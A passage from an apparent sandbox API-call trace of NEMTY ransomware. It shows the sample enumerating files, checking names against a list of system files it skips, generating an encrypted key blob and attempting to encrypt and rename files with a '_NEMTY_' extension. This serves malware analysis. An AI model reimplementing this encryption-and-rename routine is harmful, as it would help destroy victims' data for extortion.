cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cronometer_dot.png", lpUsedDefaultChar=0x0) returned 18 [0114.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0114.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0114.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0114.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0114.596] Sleep (dwMilliseconds=0x5) [0114.596] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf7f37970, dwHighDateTime=0x1d561e7)) [0114.597] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf7f37970, dwHighDateTime=0x1d561e7)) [0114.597] GetLastError () returned 0x5 [0114.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0114.597] GetLastError () returned 0x5 [0114.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0114.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0114.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0114.597] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0114.597] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0114.597] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0114.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0114.597] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="m/dN6nRzy3vPfnA8q1qmnQJ2hNs7+CZX1Vsw6vIZ4DYAef3GQAZ+NPgxD1LW/OdF\r\nGRzabLZfhxHUl+06KwpPh4QsXNKZhnWSq5WQxlbliZgn3G2YrPSrxgG5lqGi1b5m\r\nDymeTEM2cvrVDYFl2unAIV6/5wLXOc8upGb4K/fvctHQXqn/9jwKZArDoPoSrOyf\r\n1juWu7Lo/s/GO7mB/+e1QG4lWCp/4yGSMYxqSARHWqGJ8kAL3kCl0MVwBCgeHf2w\r\nvTWGUhjjllHvF1cy/t+7QaqlqQtSMoIxa58oqGm7xwHmTDJm7L+SFjqYjMOkn+s8\r\nnT0jVPVrhJaj2lSdGa9tNQ==\r\n", pcchString=0x653e91c) returned 1 [0114.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0114.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0114.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0114.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0114.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0114.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0114.597] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0114.597] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0114.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0114.598] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.598] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.607] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.607] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.607] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.607] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.616] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.616] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.616] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.616] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.625] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.626] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.626] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.635] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.635] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.645] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.645] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.645] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.654] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.654] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.663] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.664] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.664] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.673] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.673] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.682] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.682] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.692] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.692] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.692] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.692] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.698] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.698] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.698] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.698] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0114.704] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.704] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.704] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0114.704] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0114.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0114.704] CloseHandle (hObject=0xffffffff) returned 0 [0114.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0114.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0114.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0114.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0114.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0114.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0114.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0114.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0114.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0114.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0114.704] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_dot.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\cronometer_dot.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\cronometer_dot.png._nemty_kgobjgd_")) returned 0 [0114.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0114.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0114.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0114.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0114.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0114.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0114.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0114.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0114.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0114.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.705] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82888a9e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82888a9e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x285d21c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="cronometer_h.png", cAlternateFileName="")) returned 1 [0114.705] lstrcmpiW (lpString1="cronometer_h.png", lpString2=".") returned 1 [0114.705] lstrcmpiW (lpString1="cronometer_h.png", lpString2="..") returned 1 [0114.705] lstrcmpiW (lpString1="cronometer_h.png", lpString2="...") returned 1 [0114.705] lstrcmpiW (lpString1="cronometer_h.png", lpString2="windows") returned -1 [0114.705] lstrcmpiW (lpString1="cronometer_h.png", lpString2="$RECYCLE.BIN") returned 1 [0114.705] lstrcmpiW (lpString1="cronometer_h.png", lpString2="rsa") returned -1 [0114.705] lstrcmpiW (lpString1="cronometer_h.png", lpString2="NTDETECT.COM") returned -1 [0114.705] lstrcmpiW (lpString1="cronometer_h.png", lpString2="ntldr") returned -1 [0114.705] lstrcmpiW (lpString1="cronometer_h.png", lpString2="MSDOS.SYS") returned -1 [0114.705] lstrcmpiW (lpString1="cronometer_h.png", lpString2="IO.SYS") returned -1 [0114.705] lstrcmpiW (lpString1="cronometer_h.png", lpString2="boot.ini") returned 1 [0114.705] lstrcmpiW (lpString1="cronometer_h.png", lpString2="boot.ini") returned 1 [0114.705] lstrcmpiW (lpString1="cronometer_h.png", lpString2="AUTOEXEC.BAT") returned 1 [0114.705] lstrcmpiW (lpString1="cronometer_h.png", lpString2="ntuser.dat") returned -1 [0114.705] lstrcmpiW (lpString1="cronometer_h.png", lpString2="desktop.ini") returned -1 [0114.705] lstrcmpiW (lpString1="cronometer_h.png", lpString2="CONFIG.SYS") returned 1 [0114.705] lstrcmpiW (lpString1="cronometer_h.png", lpString2="RECYCLER") returned -1 [0114.705] lstrcmpiW (lpString1="cronometer_h.png", lpString2="BOOTSECT.BAK") returned 1 [0114.705] lstrcmpiW (lpString1="cronometer_h.png", lpString2="bootmgr") returned 1 [0114.705] lstrcmpiW (lpString1="cronometer_h.png", lpString2="programdata") returned -1 [0114.705] lstrcmpiW (lpString1="cronometer_h.png", lpString2="appdata") returned 1 [0114.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0114.706] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_h.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0114.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.706] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_h.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cronometer_h.png", lpUsedDefaultChar=0x0) returned 16 [0114.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0114.706] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_h.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0114.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.706] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_h.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cronometer_h.png", lpUsedDefaultChar=0x0) returned 16 [0114.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0114.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0114.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0114.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0114.706] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_h.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0114.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0114.706] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_h.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cronometer_h.png", lpUsedDefaultChar=0x0) returned 16 [0114.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0114.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0114.706] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_h.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0114.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0114.706] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cronometer_h.png", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cronometer_h.png", lpUsedDefaultChar=0x0) returned 16 [0114.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0114.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0114.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0114.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0114.706] Sleep (dwMilliseconds=0x5) [0114.720] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf8068470, dwHighDateTime=0x1d561e7)) [0114.720] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf8068470, dwHighDateTime=0x1d561e7)) [0114.720] GetLastError () returned 0x5 [0114.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0114.720] GetLastError () returned 0x5 [0114.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0114.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0114.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0114.720] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0114.720] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0114.721] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0114.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0114.721] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: 